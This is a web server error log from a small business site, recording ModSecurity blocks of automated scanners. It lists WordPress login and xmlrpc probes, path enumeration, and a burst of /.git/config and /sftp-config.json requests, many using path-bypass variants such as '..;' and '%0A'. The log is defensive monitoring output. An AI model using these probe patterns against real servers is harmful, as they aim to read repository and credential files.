[Mon Nov 24 02:28:38.012275 2025] [:error] [pid 1454:tid 1536] [client 52.236.123.156:32719] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNSVreh4NH3skJ5n4SG7wAAANg"]
[Mon Nov 24 02:28:39.589943 2025] [proxy_fcgi:error] [pid 1453:tid 1488] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:28:40.124966 2025] [proxy_fcgi:error] [pid 1453:tid 1486] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:28:40.558651 2025] [proxy_fcgi:error] [pid 1453:tid 1495] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:28:40.878221 2025] [proxy_fcgi:error] [pid 1453:tid 1509] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:28:41.132465 2025] [proxy_fcgi:error] [pid 1453:tid 1505] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:28:41.385677 2025] [proxy_fcgi:error] [pid 1453:tid 1489] [client 52.236.123.156:32723] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:58:06.101621 2025] [:error] [pid 1453:tid 1490] [client 193.37.33.72:60357] [client 193.37.33.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.72, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSNZPhUBCt7LU0bO_GBnsgAAAIY"]
[Mon Nov 24 02:58:06.111431 2025] [proxy_fcgi:error] [pid 1453:tid 1490] [client 193.37.33.72:60357] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 04:56:46.275484 2025] [:error] [pid 12911:tid 12953] [client 142.93.70.82:52275] [client 142.93.70.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.70.82, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSN1DkDMbk9464jnIl7dkAAAAEs"]
[Mon Nov 24 04:56:46.286268 2025] [proxy_fcgi:error] [pid 12911:tid 12953] [client 142.93.70.82:52275] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 04:56:52.408127 2025] [:error] [pid 12911:tid 12951] [client 142.93.70.82:52275] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSN1FEDMbk9464jnIl7dywAAAEk"]
[Mon Nov 24 04:56:52.996389 2025] [:error] [pid 12999:tid 13023] [client 142.93.70.82:56637] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSN1FFtj_teEYJ8vu7EB3wAAANQ"]
[Mon Nov 24 04:56:53.562677 2025] [:error] [pid 12999:tid 13003] [client 142.93.70.82:54004] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aSN1FVtj_teEYJ8vu7EB4AAAAMA"]
[Mon Nov 24 04:56:54.177545 2025] [:error] [pid 12910:tid 12917] [client 142.93.70.82:56545] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aSN1FmkWgvzAF2Nei2VkyQAAAAI"]
[Mon Nov 24 04:56:55.386727 2025] [:error] [pid 12911:tid 12963] [client 142.93.70.82:52613] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSN1F0DMbk9464jnIl7d0QAAAFU"]
[Mon Nov 24 04:56:56.006343 2025] [:error] [pid 12999:tid 13017] [client 142.93.70.82:63515] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSN1GFtj_teEYJ8vu7EB6AAAAM4"]
[Mon Nov 24 04:56:56.586747 2025] [:error] [pid 12999:tid 13026] [client 142.93.70.82:52092] [client 142.93.70.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aSN1GFtj_teEYJ8vu7EB7QAAANc"]
[Mon Nov 24 08:14:31.872738 2025] [:error] [pid 48688:tid 48698] [client 103.65.237.124:50991] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aSOjZxm2q1FkzLam7A0RxAAAAkY"]
[Mon Nov 24 10:26:16.842749 2025] [:error] [pid 16516:tid 16526] [client 213.21.239.4:48550] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.git/config;.."] [unique_id "aSPCSPqZbniwaNwL8XmtrAAAAQc"]
[Mon Nov 24 10:26:16.843163 2025] [:error] [pid 16593:tid 16615] [client 213.21.239.4:48412] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.git/config"] [unique_id "aSPCSBVGznHBJI2LKpQCjQAAApQ"]
[Mon Nov 24 10:26:16.847204 2025] [:error] [pid 48600:tid 48648] [client 213.21.239.4:48512] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDOAAAAdI"]
[Mon Nov 24 10:26:16.850092 2025] [:error] [pid 16516:tid 16531] [client 213.21.239.4:48494] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/developer/.git/config"] [unique_id "aSPCSPqZbniwaNwL8XmtrQAAAQw"]
[Mon Nov 24 10:26:16.851099 2025] [:error] [pid 48601:tid 48659] [client 213.21.239.4:48480] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/application/.git/config"] [unique_id "aSPCSIMM4MaVTk74-AZi6wAAAgI"]
[Mon Nov 24 10:26:16.853951 2025] [:error] [pid 16516:tid 16529] [client 213.21.239.4:48540] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backup/.git/config"] [unique_id "aSPCSPqZbniwaNwL8XmtrgAAAQo"]
[Mon Nov 24 10:26:16.854458 2025] [:error] [pid 48600:tid 48632] [client 213.21.239.4:48492] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDOQAAAcI"]
[Mon Nov 24 10:26:16.854640 2025] [:error] [pid 16516:tid 16533] [client 213.21.239.4:48528] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics../.git/config"] [unique_id "aSPCSPqZbniwaNwL8XmtrwAAAQ4"]
[Mon Nov 24 10:26:16.861401 2025] [:error] [pid 48601:tid 48674] [client 213.21.239.4:48408] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/..;/.git/config"] [unique_id "aSPCSIMM4MaVTk74-AZi7AAAAhE"]
[Mon Nov 24 10:26:16.861984 2025] [:error] [pid 48601:tid 48661] [client 213.21.239.4:48488] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/css../.git/config"] [unique_id "aSPCSIMM4MaVTk74-AZi7gAAAgQ"]
[Mon Nov 24 10:26:16.863094 2025] [:error] [pid 48600:tid 48633] [client 213.21.239.4:48586] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDOgAAAcM"]
[Mon Nov 24 10:26:16.869312 2025] [:error] [pid 48600:tid 48646] [client 213.21.239.4:48594] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/content../.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDOwAAAdA"]
[Mon Nov 24 10:26:16.870981 2025] [:error] [pid 48601:tid 48670] [client 213.21.239.4:48428] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.git/%0Aconfig"] [unique_id "aSPCSIMM4MaVTk74-AZi8AAAAg0"]
[Mon Nov 24 10:26:16.871086 2025] [:error] [pid 48599:tid 48603] [client 213.21.239.4:48654] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.git/config;"] [unique_id "aSPCSJzvu6PDJiRKE3Lg6wAAAYA"]
[Mon Nov 24 10:26:16.871343 2025] [:error] [pid 16549:tid 16572] [client 213.21.239.4:48616] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/;/.git/config"] [unique_id "aSPCSKeWW19A99PUw_f-SgAAAVM"]
[Mon Nov 24 10:26:16.875349 2025] [:error] [pid 48601:tid 48658] [client 213.21.239.4:48634] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/static../.git/config"] [unique_id "aSPCSIMM4MaVTk74-AZi8QAAAgE"]
[Mon Nov 24 10:26:16.877156 2025] [:error] [pid 48600:tid 48636] [client 213.21.239.4:48570] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/common/.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDPAAAAcY"]
[Mon Nov 24 10:26:16.883097 2025] [:error] [pid 48601:tid 48673] [client 213.21.239.4:48554] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics/.git/config"] [unique_id "aSPCSIMM4MaVTk74-AZi8gAAAhA"]
[Mon Nov 24 10:26:16.884882 2025] [:error] [pid 48600:tid 48639] [client 213.21.239.4:48568] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dev/.git/config"] [unique_id "aSPCSPtOzSUAQvWVjBdDPQAAAck"]
[Mon Nov 24 10:26:16.887062 2025] [:error] [pid 16441:tid 16465] [client 213.21.239.4:48436] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets../.git/config"] [unique_id "aSPCSIq_bc5MOa9HflmjHgAAAJU"]
[Mon Nov 24 10:26:20.040690 2025] [:error] [pid 9630:tid 9636] [client 213.21.239.4:48662] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSPCTCrSgUgPGkizt2qCuwAAAEQ"]
[Mon Nov 24 10:26:20.041408 2025] [:error] [pid 9630:tid 9645] [client 213.21.239.4:48678] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCvAAAAE0"]
[Mon Nov 24 10:26:20.041625 2025] [:error] [pid 9630:tid 9644] [client 213.21.239.4:48668] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/%0Aconfig"] [unique_id "aSPCTCrSgUgPGkizt2qCvQAAAEw"]
[Mon Nov 24 10:26:20.042316 2025] [:error] [pid 9630:tid 9640] [client 213.21.239.4:48672] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/..;/.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCvgAAAEg"]
[Mon Nov 24 10:26:20.044389 2025] [:error] [pid 48688:tid 48704] [client 213.21.239.4:48680] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSPCTBm2q1FkzLam7A1W2wAAAkw"]
[Mon Nov 24 10:26:20.049471 2025] [:error] [pid 16549:tid 16558] [client 213.21.239.4:48720] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config"] [unique_id "aSPCTKeWW19A99PUw_f-TAAAAUY"]
[Mon Nov 24 10:26:20.050753 2025] [:error] [pid 48601:tid 48668] [client 213.21.239.4:48704] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/..;/.git/config"] [unique_id "aSPCTIMM4MaVTk74-AZi9AAAAgs"]
[Mon Nov 24 10:26:20.051330 2025] [:error] [pid 49900:tid 49918] [client 213.21.239.4:48726] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config;"] [unique_id "aSPCTDCyPLrvg06aormymAAAABA"]
[Mon Nov 24 10:26:20.053246 2025] [:error] [pid 9630:tid 9653] [client 213.21.239.4:48732] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config;.."] [unique_id "aSPCTCrSgUgPGkizt2qCvwAAAFU"]
[Mon Nov 24 10:26:20.053619 2025] [:error] [pid 49900:tid 49921] [client 213.21.239.4:48744] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/git/.git/config"] [unique_id "aSPCTDCyPLrvg06aormymQAAABM"]
[Mon Nov 24 10:26:20.054710 2025] [:error] [pid 9630:tid 9655] [client 213.21.239.4:48766] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/img../.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCwAAAAFc"]
[Mon Nov 24 10:26:20.056176 2025] [:error] [pid 48688:tid 48699] [client 213.21.239.4:48780] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/js../.git/config"] [unique_id "aSPCTBm2q1FkzLam7A1W3AAAAkc"]
[Mon Nov 24 10:26:20.063379 2025] [:error] [pid 9630:tid 9651] [client 213.21.239.4:48800] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/static../.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCwQAAAFM"]
[Mon Nov 24 10:26:20.063401 2025] [:error] [pid 16441:tid 16462] [client 213.21.239.4:48750] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/images../.git/config"] [unique_id "aSPCTIq_bc5MOa9HflmjHwAAAJI"]
[Mon Nov 24 10:26:20.063833 2025] [:error] [pid 48688:tid 48708] [client 213.21.239.4:48814] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib../.git/config"] [unique_id "aSPCTBm2q1FkzLam7A1W3gAAAlA"]
[Mon Nov 24 10:26:20.066692 2025] [:error] [pid 16441:tid 16460] [client 213.21.239.4:48834] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config;.."] [unique_id "aSPCTIq_bc5MOa9HflmjIAAAAJA"]
[Mon Nov 24 10:26:20.067790 2025] [:error] [pid 16593:tid 16599] [client 213.21.239.4:48828] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/;/.git/config"] [unique_id "aSPCTBVGznHBJI2LKpQCjgAAAoQ"]
[Mon Nov 24 10:26:20.068202 2025] [:error] [pid 9630:tid 9654] [client 213.21.239.4:48862] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/live/.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCwgAAAFY"]
[Mon Nov 24 10:26:20.069947 2025] [:error] [pid 9630:tid 9641] [client 213.21.239.4:48874] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/message-api/.git/config"] [unique_id "aSPCTCrSgUgPGkizt2qCwwAAAEk"]
[Mon Nov 24 10:26:20.074018 2025] [:error] [pid 48688:tid 48706] [client 213.21.239.4:48878] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/m/.git/config"] [unique_id "aSPCTBm2q1FkzLam7A1W3wAAAk4"]
[Mon Nov 24 10:26:20.076089 2025] [:error] [pid 16441:tid 16445] [client 213.21.239.4:48888] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config;"] [unique_id "aSPCTIq_bc5MOa9HflmjIQAAAIE"]
[Mon Nov 24 10:26:20.077050 2025] [:error] [pid 16593:tid 16614] [client 213.21.239.4:48850] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/;/.git/config"] [unique_id "aSPCTBVGznHBJI2LKpQCjwAAApM"]
[Mon Nov 24 10:26:23.038090 2025] [:error] [pid 48600:tid 48650] [client 213.21.239.4:37630] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/;/.git/config"] [unique_id "aSPCT_tOzSUAQvWVjBdDQwAAAdQ"]
